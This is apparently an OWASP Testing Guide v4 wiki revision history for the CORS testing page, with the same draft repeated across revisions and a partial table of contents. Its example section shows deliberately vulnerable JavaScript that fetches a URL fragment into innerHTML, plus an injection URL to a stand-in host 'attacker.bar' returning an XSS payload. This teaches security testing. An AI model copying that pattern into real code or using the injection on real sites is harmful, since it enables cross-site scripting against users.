From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.

Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

== Black Box testing and example ==
'''Example 1: repsonse with wildcard '*' in Access-Control-Allow-Origin:''' 
 
'''Request (note the 'Origin' header:)''' 

<pre>
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
</pre>

'''Response (note the 'Access-Control-Allow-Origin' header:')'' 

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]
</pre>

'''Example 2: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>

Upload screenshot of example2

 
== References ==
'''Whitepapers''' 
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/

'''Tools''' 
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-10-09T20:08:17Z

Jgaliana: added some references

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.

Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== Description of the Issue ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.

Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

== Black Box testing and example ==
'''Example 1: repsonse with wildcard '*' in Access-Control-Allow-Origin:''' 
 
'''Request (note the 'Origin' header:)''' 

<pre>
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
</pre>

'''Response (note the 'Access-Control-Allow-Origin' header:')'' 

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]
</pre>

'''Example 2: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>

 
== References ==
'''Whitepapers''' 
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/

'''Tools''' 
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-10-09T20:05:06Z

Jgaliana: Black Box testing and example section

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enabled a browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, XMLHttpRequest L1 API only allowed requests with the same origin, and you were limited by the same origin policy for communication through this API.

Cross-Origin requests have a Origin header, that identifies the origin and is always sent to the server CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish that, there are few HTTP headers involved in this process, that are supported by all major browsers and we cover later including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== Description of the Issue ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on the Origin header for Access Control checks is not a good idea as the Origin header may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it's up to the client to determine and enforce based on this header if the client has access to the response data.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.
This can introduce security vulnerabilities that in XHR L1 where not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because could allow code injection.

Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

== Black Box testing and example ==
'''Example 1: repsonse with wildcard '*' in Access-Control-Allow-Origin:''' 
 
'''Request (note the 'Origin' header:)''' 

<pre>
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
</pre>

'''Response (note the 'Access-Control-Allow-Origin' header:')'' 

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]
</pre>

'''Example 2: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there are no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>

 
== References ==
'''Whitepapers''' 
... 
'''Tools''' 
...

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-10-09T19:54:47Z

Jgaliana: description added

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-10-09T19:31:20Z

Jgaliana: added brief summary

Test Web Messaging (OTG-CLIENT-011)

2013-10-07T19:29:16Z

Jgaliana: created new link to conform with the 4.0 guide

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
 
..here: we describe in "natural language" what we want to test.
 
== Description of the Issue ==
 
...here: Short Description of the Issue: Topic and Explanation
 
== Black Box testing and example ==
'''Testing for Topic X vulnerabilities:''' 
... 
'''Result Expected:''' 
... 
== References ==
'''Whitepapers''' 
... 
'''Tools''' 
...

Test Local Storage (OTG-CLIENT-012)

2013-10-07T19:29:11Z

Jgaliana: created new link to conform with the 4.0 guide

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2013-10-07T19:28:15Z

Jgaliana: created new link to conform with the 4.0 guide

OWASP Testing Guide v4 Table of Contents

2013-10-07T19:27:34Z

Jgaliana: updated client side section

{{OWASP Breakers}}
__NOTOC__

'''This is the DRAFT of the table of content of the New Testing Guide v4.''' 
 You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] 

Back to the OWASP Testing Guide Project:
http://www.owasp.org/index.php/OWASP_Testing_Project

'''Updated: 15th February 2013'''

[[ OWTGv4 Contributors list|'''Contributors List]]

----

The following is a DRAFT of the Toc based on the feedback already received.

== Table of Contents ==

==[[Testing Guide Foreword|Foreword by Eoin Keary]]==
[To review--> Eoin Keary -> Done!!]

==[[Testing Guide Frontispiece |1. Frontispiece]]==
[To review--> Mat]

'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]'''
[To review--> Mat]

'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''
[To review--> ]

==[[Testing Guide Introduction|2. Introduction]]==

'''2.1 The OWASP Testing Project'''

'''2.2 Principles of Testing'''

'''2.3 Testing Techniques Explained'''

2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]

2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]

==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==

'''3.1. Overview'''

'''3.2. Phase 1: Before Development Begins '''

'''3.3. Phase 2: During Definition and Design'''

'''3.4. Phase 3: During Development'''

'''3.5. Phase 4: During Deployment'''

'''3.6. Phase 5: Maintenance and Operations'''

'''3.7. A Typical SDLC Testing Workflow '''

==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==

[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--> Mat]

[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --> Mat]

[[Testing Information Gathering|'''4.2 Information Gathering ''']]

[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly "Search Engine Discovery/Reconnaissance (OWASP-IG-002)"

[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-004)"

[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly "Spiders, Robots and Crawlers (OWASP-IG-001)"

[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly "Application Discovery (OWASP-IG-005)"

[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly "Review webpage comments and metadata(OWASP-IG-007)"

[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly "Identify application entry points (OWASP-IG-003)"

[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.7 Identify application exit/handover points (OTG-INFO-007) ]] formerly "Identify application exit/handover points (OWASP-IG-008)"

[[Testing Map execution paths through application (OWASP-IG-009)|4.2.8 Map execution paths through application (OTG-INFO-008)]] formerly "Map execution paths through application (OWASP-IG-009)"

[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.9 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)" '''Ready to be reviewed'''

[[Testing for Web Application (OTG-INFO-011)|4.2.10 Fingerprint Web Application (OTG-INFO-010) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)" '''Ready to be reviewed'''

[[Map Network and Application Architecture (OTG-INFO-012)|4.2.11 Map Network and Application Architecture (OTG-INFO-011) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)" '''Ready to be reviewed'''

[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]

[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"

[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly "Testing for Application Configuration Management weakness (OWASP-CM-002)"

[[Testing for file extensions handling (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly "Testing for File Extensions Handling (OWASP-CM-003)"

[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly "Old, Backup and Unreferenced Files (OWASP-CM-004)"

[[Testing for Admin Interfaces (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly "Infrastructure and Application Admin Interfaces (OWASP-CM-005)"

[[Testing for HTTP Methods and XST (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly "Testing for Bad HTTP Methods (OWASP-CM-006)"

[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly "Testing for Database credentials/connection strings available (OWASP-CM-007)"

[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly "Testing for Content Security Policy weakness (OWASP-CM-008)"

[[Testing for Missing HSTS header|4.3.9 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly "Testing for Missing HSTS header (OWASP-CM-009)"

[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]

[[Testing for RIA policy files weakness|4.3.11 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly "Testing for RIA policy files weakness (OWASP-CM-010)"

[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new

[[Testing Identity Management|'''4.4 Identity Management Testing''']]

[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New

[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New

[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New

[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly "Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)"

[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly "Testing for Weak or unenforced username policy (OWASP-AT-009)

[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New

[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New

[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New

[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New

[[Testing for authentication|'''4.5 Authentication Testing ''']]

[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]] formerly "Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)"

[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly "Testing for default credentials (OWASP-AT-003)"

[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly "Testing for Weak lock out mechanism (OWASP-AT-004)"

[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly "Testing for bypassing authentication schema (OWASP-AT-005)"

[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly "Testing for vulnerable remember password functionality (OWASP-AT-006)"

[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly "Testing for Browser cache weakness (OWASP-AT-007)"

[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly "Testing for Weak password policy (OWASP-AT-008)"

[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel

[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly "Testing for weak password change or reset functionalities (OWASP-AT-011)"

[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)

[[Testing for Authorization|'''4.6 Authorization Testing''']]

[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New

[[Testing for Path Traversal (OWASP-AZ-001)|4.6.2 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly "Testing Directory traversal/file include (OWASP-AZ-001)"

[[Testing for Bypassing Authorization Schema (OWASP-AZ-002)|4.6.3 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly "Testing for bypassing authorization schema (OWASP-AZ-002)"

[[Testing for Privilege escalation (OWASP-AZ-003)|4.6.4 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly "Testing for Privilege Escalation (OWASP-AZ-003)"

[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.5 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly "Testing for Insecure Direct Object References (OWASP-AZ-004)"

[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly "Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)"

[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)

[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)

[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly "Testing for failure to restrict access to authenticated resource (OWASP-AT-010)"

[[Testing for Session Management|'''4.7 Session Management Testing''']]

[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly "Testing for Bypassing Session Management Schema (OWASP-SM-001)"

